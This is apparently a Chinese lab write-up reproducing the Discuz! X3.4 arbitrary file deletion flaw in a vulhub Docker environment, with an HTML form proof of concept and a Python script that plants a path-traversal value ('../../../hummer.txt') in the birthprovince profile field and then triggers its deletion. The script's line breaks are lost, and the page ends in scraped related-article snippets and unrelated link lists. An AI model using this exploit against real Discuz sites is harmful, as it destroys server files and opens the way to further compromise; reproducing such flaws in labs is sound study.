Discuz任意文件删除

实验环境

官方于2017年9月28日对源码进行了修复,这里利用docker搭建环境:

cd vulhub/discuz/x3.4-arbitrary-file-deletion/
docker-compose up -d

服务器:CentOS7

攻击机:物理机(10.10.10.1)

环境搭建好后开始安装DZ

漏洞复现

  1. 在服务器DZ根目录下建立hummer.txt文件,利用漏洞删除该文件

    检查hummer.txt文件存在

  2. 注册Discuz用户,尝试修改个人信息

    http://10.10.10.142/Discuz/home.php?mod=spacecp

    填写个人信息后对该请求抓包:

    从图中可以得到hummer用户的formhash=4c8ba00c

    将birthprovince的值改为要删除的文件名(hummer.txt)

    然后放包:

    可以看到已经成功将birthprovince的值改为了要删除的文件名

  3. 构造POC:

    <form action="http://10.10.10.142/Discuz/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi
    nce]=aaaaaa" method="POST" enctype="multipart/form-data">
    <input type="file" name="birthprovince" id="file" />
    <input type="text" name="formhash" value="89b14d12"/></p>
    <input type="text" name="profilesubmit" value="1"/></p>
    <input type="submit" value="Submit" />
    </from>
    

    点击提交后,会有如下响应:

    此时文件已经成功删除了

    1. 自动化脚本:
    # -*- coding: utf-8 -*-
    # @Time : 2022/4/1 16:22
    # @Author : hummer
    # @File : Discuz.pyimport requests
    import re'''
    Discuz!X <=3.4 任意文件删除漏洞
    '''def get_cookie():cookies={}for line in raw_cookies .split(';'):key,value = line.split('=',1)cookies[key]=valuereturn cookiesdef get_formhash(url):cookies = get_cookie()testurl = url + "/home.php?mod=spacecp"html = requests.get(testurl,cookies=cookies)com = re.compile('<input type="hidden" name="formhash" value="(.*?)" />')result = com.findall(html.text)return result[0]def del_step1(url,filename):headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',}geturl = url + "/home.php?mod=spacecp&ac=profile&op=base"formhash=get_formhash(url)print("formhash: " + formhash)payload = {'birthprovince':filename,'profilesubmit':1,'formhash':formhash}cookies = get_cookie()html = requests.post(geturl,headers=headers,data=payload,cookies=cookies)if html.text.find('parent.show_success')>0:print('Step1 success!')def del_step2(url):geturl = url + '/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa'headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}formhash = get_formhash(url)files = {'formhash':(None,formhash),'birthprovince':('1.jpg',open('1.jpg','rb'),'image/jepg'),'profilesubmit':(None,1)}cookies = get_cookie()r = requests.post(geturl,files=files,headers=headers,cookies=cookies)if r.text.find('parent.show_success')>0:print("Step2 success!")if __name__ == '__main__':raw_cookies = "QEWn_2132_saltkey=jB44A7n7; QEWn_2132_lastvisit=1648895823; QEWn_2132_sid=KrpF5f; QEWn_2132_lastact=1648899609%09home.php%09misc; QEWn_2132_sendmail=1; QEWn_2132_seccode=1.21187a98997a88f189; QEWn_2132_ulastactivity=9ebcAx%2FzsiL2Ju3gB4nnVG5GBBHyFTeCzO6%2FbmGu9WxSCw8brZTS; QEWn_2132_auth=afde08MuW%2BAKdFLrgYSqhflGjsYLnWVSBtpPs6HBpmnwkPkewQvRZIgT1G6mgVSIU7FxCC9L84iX7RSX2PIb; QEWn_2132_nofavfid=1; QEWn_2132_onlineusernum=1; QEWn_2132_noticeTitle=1"url = 'http://10.10.10.145'del_step1(url,'../../../hummer.txt')del_step2(url)
    

    运行结果如下:

漏洞复现完成

Discuz任意文件删除相关推荐

  1. feifeicms 4.0 几处任意文件删除

    1.位置Lib/Lib/Action/Admin/DataAction.class.php,两处 未经处理的GET和POST参数直接拼接到路径后,造成文件删除.但实际本地测试发现_bak文件夹默认是不 ...

  2. php任意文件删除漏洞,phpshe后台任意文件删除漏洞及getshell | CN-SEC 中文网

    摘要 phpshe是一个开源商城程序,程序在前台入库的地方都用了pe_dbhold函数(mysql_real_escape_string,htmlspecialchars过滤),虽然用的是全局变量注册 ...

  3. 服务器漏洞文件被删除漏洞,【华中科技大学 - 漏洞预警】Wordpress = 4.9.6 任意文件删除漏洞...

    昨日,互联网上公开了Wordpress <= 4.9.6的任意文件删除漏洞及分析利用材料.该漏洞影响Wordpress全部版本(<= 4.9.6).在攻击者获得基础权限后,可升级角色权限, ...

  4. kingcms php 漏洞,kingcms任意php文件删除(可截断时升级为任意文件删除 )

    ### 简要描述: 设计不当导致任意php文件删除 ### 详细说明: 漏洞文件:global.php 好像是所有php文件都会调用该文件,该文件如下代码 ``` //当cache_path值被提交过 ...

  5. php任意文件删除漏洞,phpyun二次任意文件删除漏洞

    ### 简要描述: 只要有任意文件删除 这系统绝对崩. 我吐个槽,最新的过滤文件实在是太BT了,只要有select and .... 就die() 伤不起啊 ### 详细说明: 问题出在 friend ...

  6. PHP代码审计——任意文件删除漏洞(YXcms)

    一.代码审计 在我的资源中下载:: YXcms-含有任意文件删除漏洞的源码包 下载即可 删除文件的代码在del()方法,首先通过GET方式接收参数fname传递过来的的值,然后执行in()函数 跟踪i ...

  7. php任意文件删除漏洞,myblog/phpyun4.3任意文件删除漏洞.md at master · source-trace/myblog · GitHub...

    phpyun-expect.class.php任意文件 漏洞信息 公开时间: 2017/08 影响版本: 4.3 利用难度: 2 挖掘难度: 2 漏洞说明 漏洞出现的原因是在于没有对数据进行很好的校验 ...

  8. 通达+oa+php+文件+乱,通达OA任意文件删除/OA未授权访问+任意文件上传RCE漏洞复现...

    0x00 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  9. 【代码审计】任意文件删除漏洞实例

    [代码审计]任意文件删除漏洞实例 任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件. 环境搭建: CSCMS :http://www.chshcms.com/ 网站源码版本:Cscms_v ...

最新文章

  1. SiteMapPath基本用法
  2. 什么是深度智能:2021年深度智能的发展趋势
  3. Android基础建设之Activity,ViewRoot,WindowManager,Window,View
  4. Android基于mAppWidget实现手绘地图(五)--如何创建地图资源
  5. 【体验】朗读机器人是如何炼成的!带你体验TTS语音合成模块,B719语音合成模块效果测试...
  6. GDCM:DICOM文件转换为QImage文件的测试程序
  7. Tachyon更名为 Alluxio,并发布1.0版本
  8. API – MultiByteToWideChar的用法
  9. django-orm操作小结
  10. 【Java并发编程】16、ReentrantReadWriteLock源码分析
  11. Confluence 6 上传文件
  12. 计算机网络class1(概念、组成、功能和分类)
  13. mysql单实例和多实例,MySQL单实例、多实例安装_MySQL
  14. mysql,SQL标准,多表查询中内连接,外连接,自然连接等详解之查询结果集的笛卡尔积的演化...
  15. DDoS原理、分类与防御
  16. 七、CICSO设备 路由器
  17. build.gradle Failed to resolve:me.relex:circleindicator:1.1.5
  18. 选择排序(Selection sort)是一种简单直观的排序算法
  19. CSAPP 3e Attack lab
  20. ilitek win10 触摸屏驱动_德国布拉本达(Brabender)触摸屏维修常见故障_触摸屏维修吧...

热门文章

  1. OnsenUI-页面切换
  2. (转)一张图看懂H5测试
  3. vba monthview控件64位_利用VBA获取文件的信息和属性
  4. AI与偏见:从当代新“相面术”说起
  5. Java接入乐讯通paas短信平台,调用api实现短信验证码的发送
  6. Docker镜像文件使C盘爆满
  7. 人生重要的不是能力而是性格(75条)
  8. 图说行列式:几张图让你明白行列式的性质
  9. 想知道PDF转高清图片软件哪个好?
  10. Flask框架项目_新经资讯